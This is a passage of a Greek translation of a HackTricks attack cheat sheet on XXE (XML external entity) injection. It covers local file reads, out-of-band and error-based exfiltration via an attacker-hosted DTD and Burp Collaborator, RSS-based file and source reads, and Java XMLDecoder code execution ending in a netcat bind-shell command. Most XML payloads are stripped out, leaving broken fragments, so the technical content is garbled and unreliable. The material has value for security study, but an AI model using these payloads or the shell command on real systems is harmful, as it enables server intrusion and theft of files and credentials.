**Εξαγωγή** _**index.php**_ ```xml ]> ``` #### **Εξαγωγή εξωτερικού πόρου** ```xml ]> ``` ### Απομακρυσμένη εκτέλεση κώδικα **Εάν το PHP "expect" module είναι φορτωμένο** ```xml ]> &xxe; mypass ``` ## **SOAP - XEE** ```xml %dtd;]>]]> ``` ## XLIFF - XXE Αυτό το παράδειγμα είναι εμπνευσμένο από το [https://pwn.vg/articles/2021-06/local-file-read-via-error-based-xxe](https://pwn.vg/articles/2021-06/local-file-read-via-error-based-xxe) Το XLIFF (XML Localization Interchange File Format) χρησιμοποιείται για την τυποποίηση της ανταλλαγής δεδομένων στις διαδικασίες τοπικοποίησης. Είναι ένας μορφότυπος βασισμένος σε XML που χρησιμοποιείται κυρίως για τη μεταφορά δεδομένων που μπορούν να τοπικοποιηθούν μεταξύ εργαλείων κατά τη διάρκεια της τοπικοποίησης και ως ένα κοινό μορφότυπο ανταλλαγής για εργαλεία CAT (Computer-Aided Translation). ### Ανάλυση Τυφλού Αιτήματος Γίνεται μια αίτηση στον διακομιστή με τον ακόλουθο περιεχόμενο: ```xml ------WebKitFormBoundaryqBdAsEtYaBjTArl3 Content-Disposition: form-data; name="file"; filename="xxe.xliff" Content-Type: application/x-xliff+xml %remote; ]> ------WebKitFormBoundaryqBdAsEtYaBjTArl3-- ``` Ωστόσο, αυτό το αίτημα ενεργοποιεί ένα εσωτερικό σφάλμα διακομιστή, αναφέροντας συγκεκριμένα ένα πρόβλημα με τις δηλώσεις σήμανσης: ```json {"status":500,"error":"Internal Server Error","message":"Error systemId: http://redacted.burpcollaborator.net/?xxe_test; The markup declarations contained or pointed to by the document type declaration must be well-formed."} ``` Παρά το σφάλμα, καταγράφεται ένα χτύπημα στο Burp Collaborator, υποδηλώνοντας κάποιο επίπεδο αλληλεπίδρασης με το εξωτερικό στοιχείο. Εξαγωγή Δεδομένων Out of Band Για να εξαχθούν δεδομένα, στέλνεται ένα τροποποιημένο αίτημα: ``` ------WebKitFormBoundaryqBdAsEtYaBjTArl3 Content-Disposition: form-data; name="file"; filename="xxe.xliff" Content-Type: application/x-xliff+xml %remote; ]> ------WebKitFormBoundaryqBdAsEtYaBjTArl3-- ``` Αυτή η προσέγγιση αποκαλύπτει ότι ο User Agent υποδεικνύει τη χρήση του Java 1.8. Μια σημειωμένη περιορισμός με αυτήν την έκδοση του Java είναι η ανικανότητα ανάκτησης αρχείων που περιέχουν χαρακτήρα νέας γραμμής, όπως το /etc/passwd, χρησιμοποιώντας την τεχνική Out of Band. Εξαγωγή Δεδομένων Με Βάση Σφάλματα Για να ξεπεραστεί αυτός ο περιορισμός, χρησιμοποιείται μια προσέγγιση βασισμένη σε σφάλματα. Το αρχείο DTD έχει την ακόλουθη δομή για να προκαλέσει ένα σφάλμα που περιλαμβάνει δεδομένα από ένα στοχευμένο αρχείο: ```xml "> %foo; %xxe; ``` Ο διακομιστής ανταποκρίνεται με ένα σφάλμα, υποδεικνύοντας σημαντικά το μη υπαρκτό αρχείο, υποδεικνύοντας ότι ο διακομιστής προσπαθεί να έχει πρόσβαση στο συγκεκριμένο αρχείο: ```javascript {"status":500,"error":"Internal Server Error","message":"IO error.\nReason: /nofile (No such file or directory)"} ``` Για να συμπεριληφθεί το περιεχόμενο του αρχείου στο μήνυμα σφάλματος, προσαρμόζεται το αρχείο DTD: ```xml "> %foo; %xxe; ``` Αυτή η τροποποίηση οδηγεί στην επιτυχή εξαγωγή του περιεχομένου του αρχείου, όπως αντανακλάται στην έξοδο σφάλματος που στέλνεται μέσω HTTP. Αυτό υποδηλώνει μια επιτυχημένη επίθεση XXE (XML External Entity), εκμεταλλευόμενη τεχνικές Out of Band και Error-Based για την εξαγωγή ευαίσθητων πληροφοριών. ## RSS - XEE Έγκυρο XML με μορφή RSS για εκμετάλλευση ευπαθειών XXE. ### Ping back Απλό αίτημα HTTP προς τον διακομιστή των επιτιθέμενων ```xml /rssXXE" >]> XXE Test Blog http://example.com/ XXE Test Blog Mon, 02 Feb 2015 00:00:00 -0000 &xxe; http://example.com Test Post author@example.com Mon, 02 Feb 2015 00:00:00 -0000 ``` ### Διάβασμα αρχείου ```xml ]> The Blog http://example.com/ A blog about things Mon, 03 Feb 2014 00:00:00 -0000 &xxe; http://example.com a post author@example.com Mon, 03 Feb 2014 00:00:00 -0000 ``` ### Διαβάστε τον πηγαίο κώδικα Χρησιμοποιώντας το PHP φίλτρο base64 ```xml ]> The Blog http://example.com/ A blog about things Mon, 03 Feb 2014 00:00:00 -0000 &xxe; http://example.com a post author@example.com Mon, 03 Feb 2014 00:00:00 -0000 ``` ## Εκμετάλλευση του Java XMLDecoder XEE για RCE Το XMLDecoder είναι μια κλάση Java που δημιουργεί αντικείμενα με βάση ένα μήνυμα XML. Αν ένας κακόβουλος χρήστης μπορεί να πείσει μια εφαρμογή να χρησιμοποιήσει αυθαίρετα δεδομένα σε ένα κάλεσμα στη μέθοδο **readObject**, τότε θα αποκτήσει αμέσως εκτέλεση κώδικα στον διακομιστή. ### Χρήση της Runtime().exec() ```xml /usr/bin/nc -l -p 9999 -e /bin/sh ``` ### ProcessBuilder ### ProcessBuilder ```xml /usr/bin/nc -l -p 9999 -e /bin/sh ``` ## Εργαλεία {% embed url="https://github.com/luisfontes19/xxexploiter" %} ## Αναφορές * [https://media.blackhat.com/eu-13/briefings/Osipov/bh-eu-13-XML-data-osipov-slides.pdf](https://media.blackhat.com/eu-13/briefings/Osipov/bh-eu-13-XML-data-osipov-slides.pdf)\\ * [https://web-in-security.blogspot.com/2016/03/xxe-cheat-sheet.html](https://web-in-security.blogspot.com/2016/03/xxe-cheat-sheet.html)\\ * Εξαγωγή πληροφοριών μέσω HTTP χρησιμοποιώντας το δικό μας εξωτερικό DTD: [https://ysx.me.uk/from-rss-to-xxe-feed-parsing-on-hootsuite/](https://ysx.me.uk/from-rss-to-xxe-feed-parsing-on-hootsuite/)\\ * [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XXE%20injection](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XXE%20injection)\\ * [https://gist.github.com/staaldraad/01415b990939494879b4](https://gist.github.com/staaldraad/01415b990939494879b4)\\ * [https://medium.com/@onehackman/exploiting-xml-external-entity-xxe-injections-b0e3eac388f9](https://medium.com/@onehackman/exploiting-xml-external-entity-xxe-injections-b0e3eac388f9)\\ * [https://portswigger.net/web-security/xxe](https://portswigger.net/web-security/xxe)\\ * [https://gosecure.github.io/xxe-workshop/#7](https://gosecure.github.io/xxe-workshop/#7)
{% embed url="https://websec.nl/" %}
Μάθετε το χάκινγκ του AWS από το μηδέν μέχρι τον ήρωα με το htARTE (HackTricks AWS Red Team Expert)! Άλλοι τρόποι υποστήριξης του HackTricks: * Αν θέλετε να δείτε την **εταιρεία σας διαφημισμένη στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)! * Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com) * Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family) * **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** * **Μοιραστείτε τα χάκινγκ σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.